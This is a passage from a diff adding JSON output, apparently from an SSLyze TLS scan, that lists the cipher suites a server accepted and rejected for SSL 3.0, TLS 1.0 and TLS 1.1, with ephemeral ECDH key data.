"EDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "SSL_3_0" + }, + "status": "COMPLETED" + }, + "tls_1_0_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "ephemeral_key": { + "curve_name": "secp521r1", + "generator": null, + "prime": null, + "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", + "size": 521, + "type_name": "ECDH", + "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", + "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "ephemeral_key": { + "curve_name": "secp521r1", + "generator": null, + "prime": null, + "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", + "size": 521, + "type_name": "ECDH", + "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", + "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" + } + } + ], + "is_tls_version_supported": true, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDH-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_RSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", + "openssl_name": "ECDHE-ECDSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDHE_ECDSA_WITH_NULL_SHA", + "openssl_name": "ECDHE-ECDSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDHE-ECDSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_SEED_CBC_SHA", + "openssl_name": "ADH-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_RC4_128_MD5", + "openssl_name": "ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 56, + "name": "TLS_DH_anon_WITH_DES_CBC_SHA", + "openssl_name": "ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "ADH-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "ADH-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_DH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "ADH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_DH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "ADH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_DH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ADH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-ADH-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 40, + "name": "TLS_DH_anon_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-ADH-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DH-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DH-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DH_DSS_WITH_DES_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DH-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DH_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DH-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DH_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DH-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DH_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-RSA-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_RSA_WITH_DES_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-RSA-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-RSA-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_SEED_CBC_SHA", + "openssl_name": "DHE-DSS-SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_DHE_DSS_WITH_DES_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "DHE-DSS-CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_DHE_DSS_WITH_AES_256_CBC_SHA", + "openssl_name": "DHE-DSS-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", + "openssl_name": "DHE-DSS-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "EDH-DSS-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-EDH-DSS-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + } + ], + "tls_version_used": "TLS_1_0" + }, + "status": "COMPLETED" + }, + "tls_1_1_cipher_suites": { + "error_reason": null, + "error_trace": null, + "result": { + "accepted_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "AES256-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "AES128-SHA" + }, + "ephemeral_key": null + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES256-SHA" + }, + "ephemeral_key": { + "curve_name": "secp521r1", + "generator": null, + "prime": null, + "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", + "size": 521, + "type_name": "ECDH", + "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", + "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" + } + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDHE-RSA-AES128-SHA" + }, + "ephemeral_key": { + "curve_name": "secp521r1", + "generator": null, + "prime": null, + "public_bytes": "BABT5TBoTUOtILJ64jMdfUWZ0PKlKwbxYx1NaYutF/SKHHMan7iWiEBwrqxPNR4gP3VieoNiZI1rgU3zKTHkTklDigCI8QUHsJzavFU727ntLHo0naEA6Aq77fwRmZhCryfGIRFYdLgqFff7bcQvQmQKZ2tXtgeBEy+v8fzjKc0Uzzyagg==", + "size": 521, + "type_name": "ECDH", + "x": "U+UwaE1DrSCyeuIzHX1FmdDypSsG8WMdTWmLrRf0ihxzGp+4lohAcK6sTzUeID91YnqDYmSNa4FN8ykx5E5JQ4o=", + "y": "iPEFB7Cc2rxVO9u57Sx6NJ2hAOgKu+38EZmYQq8nxiERWHS4KhX3+23EL0JkCmdrV7YHgRMvr/H84ynNFM88moI=" + } + } + ], + "is_tls_version_supported": true, + "rejected_cipher_suites": [ + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_SEED_CBC_SHA", + "openssl_name": "SEED-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_SHA", + "openssl_name": "RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_RC4_128_MD5", + "openssl_name": "RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_SHA", + "openssl_name": "NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_RSA_WITH_NULL_MD5", + "openssl_name": "NULL-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_IDEA_CBC_SHA", + "openssl_name": "IDEA-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 56, + "name": "TLS_RSA_WITH_DES_CBC_SHA", + "openssl_name": "DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_RSA_WITH_CAMELLIA_256_CBC_SHA", + "openssl_name": "CAMELLIA256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_RSA_WITH_CAMELLIA_128_CBC_SHA", + "openssl_name": "CAMELLIA128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC4_40_MD5", + "openssl_name": "EXP-RC4-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5", + "openssl_name": "EXP-RC2-CBC-MD5" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 40, + "name": "TLS_RSA_EXPORT_WITH_DES40_CBC_SHA", + "openssl_name": "EXP-DES-CBC-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_RC4_128_SHA", + "openssl_name": "AECDH-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 0, + "name": "TLS_ECDH_anon_WITH_NULL_SHA", + "openssl_name": "AECDH-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 256, + "name": "TLS_ECDH_anon_WITH_AES_256_CBC_SHA", + "openssl_name": "AECDH-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 128, + "name": "TLS_ECDH_anon_WITH_AES_128_CBC_SHA", + "openssl_name": "AECDH-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": true, + "key_size": 168, + "name": "TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "AECDH-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_RC4_128_SHA", + "openssl_name": "ECDH-RSA-RC4-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 0, + "name": "TLS_ECDH_RSA_WITH_NULL_SHA", + "openssl_name": "ECDH-RSA-NULL-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 256, + "name": "TLS_ECDH_RSA_WITH_AES_256_CBC_SHA", + "openssl_name": "ECDH-RSA-AES256-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": "TLS_ECDH_RSA_WITH_AES_128_CBC_SHA", + "openssl_name": "ECDH-RSA-AES128-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 168, + "name": "TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA", + "openssl_name": "ECDH-RSA-DES-CBC3-SHA" + }, + "error_message": "Server rejected the connection" + }, + { + "cipher_suite": { + "is_anonymous": false, + "key_size": 128, + "name": 